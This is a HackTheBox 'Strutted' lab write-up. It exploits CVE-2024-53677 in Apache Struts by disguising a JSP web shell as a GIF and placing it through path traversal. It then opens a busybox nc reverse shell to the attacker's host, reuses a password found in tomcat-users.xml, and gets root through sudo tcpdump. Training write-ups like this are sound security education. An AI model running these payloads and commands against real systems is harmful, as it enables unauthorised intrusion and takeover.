HTB Strutted Writeup
Introduction
This is a medium Linux machine on HackTheBox
Enumeration
Port Scan
Let’s find out what services are accessible
1
rustscan -a <MACHINE-IP> -- -A -sC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
RustScan: Because guessing isn't hacking.
[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.59:22
Open 10.10.11.59:80
1
2
3
4
5
6
7
8
9
10
11
12
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=
| 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Strutted\xE2\x84\xA2 - Instant Image Uploads
|_http-server-header: nginx/1.18.0 (Ubuntu)
Website
The homepage lets us upload image files through the endpoint
1
http://strutted.htb/upload.action
We can download the source of the website at
1
http://strutted.htb/download.action
Source Analysis
The upload feature validates data through the Content-Type
, magic bytes
, and the file extension
. We can read this in strutted/src/main/java/org/strutted/htb/Upload.java
Through the Content-Type
validation we can only upload jpeg
, png
, and gif
files.
1
2
3
4
5
6
7
8
9
private boolean isAllowedContentType(String contentType) {
String[] allowedTypes = {"image/jpeg", "image/png", "image/gif"};
for (String allowedType : allowedTypes) {
if (allowedType.equalsIgnoreCase(contentType)) {
return true;
}
}
return false;
}
Comparing the magic bytes. GIF
seems straight forward to imitate
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
private boolean isImageByMagicBytes(File file) {
byte[] header = new byte[8];
try (InputStream in = new FileInputStream(file)) {
int bytesRead = in.read(header, 0, 8);
if (bytesRead < 8) {
return false;
}
// JPEG
if (header[0] == (byte)0xFF && header[1] == (byte)0xD8 && header[2] == (byte)0xFF) {
return true;
}
// PNG
if (header[0] == (byte)0x89 && header[1] == (byte)0x50 && header[2] == (byte)0x4E && header[3] == (byte)0x47) {
return true;
}
// GIF (GIF87a or GIF89a)
if (header[0] == (byte)0x47 && header[1] == (byte)0x49 && header[2] == (byte)0x46 &&
header[3] == (byte)0x38 && (header[4] == (byte)0x37 || header[4] == (byte)0x39) && header[5] == (byte)0x61) {
return true;
}
// snip
}
Reading the pom.xml
file in the root directory, we can find some version information
1
2
3
4
5
6
7
8
9
10
11
12
<!-- snip !-->
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<maven.compiler.source>17</maven.compiler.source>
<maven.compiler.target>17</maven.compiler.target>
<struts2.version>6.3.0.1</struts2.version>
<jetty-plugin.version>9.4.46.v20220331</jetty-plugin.version>
<maven.javadoc.skip>true</maven.javadoc.skip>
<jackson.version>2.14.1</jackson.version>
<jackson-data-bind.version>2.14.1</jackson-data-bind.version>
</properties>
<!-- snip !-->
Initial Foothold
This version of apache strut is vulnerable to CVE-2024-53677. We can achieve remote code execution and path traversal by manipulating the upload parameters.
Let’s trigger this exploit manually! Here’s a more detailed explanation of the vulnerability.
When a file is uploaded (after the initial checks are bypassed), we can use variables specific to apache strut to change the file extension and location of our uploaded file. So if we upload a gif
file, we can use these vulnerable parameters to change it to a php
file, and place it in an easily accessible (and executable) location to achieve remote code execution!
Upload Bypass
Our goal is to upload this jsp web shell on the server to run commands. In order for our exploit to work, we’ll need to bypass the upload restrictions.
Bypassing the file extension is easy enough, just rename the file
1
mv shell.jsp shell.gif
To pass the magic bytes check, we’ll need to add the gif
bytes at the beginning. Just add this gif
string at the start of the file
1
2
3
GIF87a
<%@ page import="java.io.*, java.util.*, java.net.*" %>
# rest of shell.jsp source here
Finally we just need to change the Content-Type
form header to reflect any valid file type when we send send the POST
request
1
2
# it doesn't have to be a gif!
Content-Type: image/png
Remote Code Execution
Now we can upload the web shell with curl
. Notice the capitalization in Upload
and UploadFileName
! These are the special (vulnerable) parameters that we’re going to exploit
1
curl -X POST http://strutted.htb/upload.action -F 'Upload=@./shell.gif' -F 'top.UploadFileName=../../shell.jsp'
When successful, the uploaded file location will be embedded in the response
1
<img src="uploads/20250828_163037/../../shell.jsp" alt="Uploaded File"/>
Here is the payload sent through burp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
POST /upload.action HTTP/1.1
Host: strutted.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------34232648183382128405422289677
Content-Length: 3156
Origin: http://strutted.htb
Connection: keep-alive
Referer: http://strutted.htb/upload.action
Cookie: JSESSIONID=267C77DCD2517780429353BB566B43C8
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1
-----------------------------34232648183382128405422289677
Content-Disposition: form-data; name="Upload"; filename="shell.gif";
Content-Type: image/png
GIF87a
// jsp webshell here
-----------------------------34232648183382128405422289677
Content-Disposition: form-data; name="top.UploadFileName"
../../shell.jsp
-----------------------------34232648183382128405422289677--
Now we can run commands so I sent a URL encoded busybox
reverse shell from revshells
1
busybox nc <ATTACKER-IP> 4444 -e /bin/bash
Triggering the reverse shell
1
nc -lvnp 4444 # listener on the attacking machine
1
curl 'http://strutted.htb/shell.jsp?action=cmd&cmd=busybox%20nc%2010.10.14.186%204444%20-e%20%2Fbin%2Fbash'
We can stabilize and upgrade the shell using python3
1
2
3
4
5
python3 -c 'import pty; pty.spawn("/bin/bash")'
# ctrl + z
stty raw -echo && fg
export SHELL=/bin/bash
export TERM=screen
user.txt
Now that we’re on the server let’s look for credentials in the configuration files
1
2
3
4
5
6
7
8
9
10
tomcat@strutted:~/conf$ cat tomcat-users.xml | grep 'password'
you must define such a user - the username and password are arbitrary.
will also need to set the passwords to something appropriate.
<user username="admin" password="<must-be-changed>" roles="manager-gui"/>
<user username="robot" password="<must-be-changed>" roles="manager-script"/>
<user username="admin" password="<PASSWORD>" roles="manager-gui,admin-gui"/>
them. You will also need to set the passwords to something appropriate.
<user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
<user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
<user username="role1" password="<must-be-changed>" roles="role1"/>
Through password reuse we can use admin
’s password for james
. We can’t su
as james
from tomcat
but we can ssh
in
1
ssh james@strutted.htb
root.txt
Enumerating the privileges of our new user
1
2
3
4
5
6
7
8
james@strutted:~$ sudo -l
Matching Defaults entries for james on localhost:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User james may run the following commands on localhost:
(ALL) NOPASSWD: /usr/sbin/tcpdump
tcpdump
has an entry on GTFObins we can follow
In this case we’ll create a copy of /bin/bash
with the suid
bit set
1
2
3
4
5
COMMAND='id'
TF=$(mktemp)
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash;" > $TF
chmod +x $TF
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
Recap
The website’s homepage lets us upload an image file and download the source code of the site. Reading the source, we find that it is running a vulnerable version of Apache Struts. Using CVE-2024-53677 and bypassing the image upload restrictions, the attacker can upload arbitrary files to any location. Uploading a jsp
web shell gives a foothold into the system
Reading configuration files on the server reveals a password that is reused by the user. While the tomcat
user can’t su
, we can still ssh
in.
The user can run tcpdump
with sudo
. Leveraging its corresponding GTFO-bin entry, we can create a root
shell.